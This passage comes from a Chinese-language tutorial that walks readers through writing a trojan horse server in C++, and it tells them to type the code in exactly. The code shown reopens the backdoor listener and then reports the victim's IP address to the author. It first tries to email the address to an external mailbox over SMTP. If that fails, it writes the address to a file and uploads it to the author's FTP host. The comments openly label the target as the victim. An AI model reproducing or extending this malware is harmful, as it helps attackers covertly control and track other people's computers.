上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-〉Close();
//关闭服务
ServerSocket1-〉Active =true;
//再次打开服务
if (NMSMTP1-〉Connected) NMSMTP1-〉Disconnect();
//如果SMTP服务器已连接则断开
NMSMTP1-〉Host = "smtp.163.net";
//选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-〉UserID = "";
//你SMTP的ID
try
{
NMSMTP1-〉Connect();
//再次连接
}
catch(...)
{
goto NextTime;
//跳到NextTime
}
NMSMTP1-〉PostMessage-〉FromAddress ="I don't know!";
//受害者的Email地址
NMSMTP1-〉PostMessage-〉FromName = "Casualty";
//受害者的名字
NMSMTP1-〉PostMessage-〉ToAddress-〉Text = "crossbow@8848.net";
//将信发到我的邮箱,这一步很关键
NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString("Server Running on:") + NMSMTP1-〉LocalIP ;
//信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-〉PostMessage-〉Subject = "Server Running Now!";
//信的主题
NMSMTP1-〉SendMail();
//发送!
return;
//返回
NextTime:
NMFTP1-〉Host = "ftp.go.163.com";
//你的FTP服务器的地址
NMFTP1-〉UserID = "";
//你的用户ID
NMFTP1-〉Port = 21;
//FTP端口号,一般为21
NMFTP1-〉Password = "";
//你的FTP的密码
if(NMFTP1-〉Connected) NMFTP1-〉Disconnect();
//如果已连接就断开
try
{
NMFTP1-〉Connect();
//再连接
}
catch(...)
{
return;
//返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1-〉RemoteIP;
//受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1-〉RemoteIP.c_str(),"w+");
//创建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
//写入以上的SendToSite的内容
fclose(Upload);
//写完后关闭此文件
NMFTP1-〉RemoveDir("public_html");
//删除public_html目录
NMFTP1-〉Upload(NMFTP1-〉RemoteIP, NMFTP1-〉RemoteIP);
//上传!
}
啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件: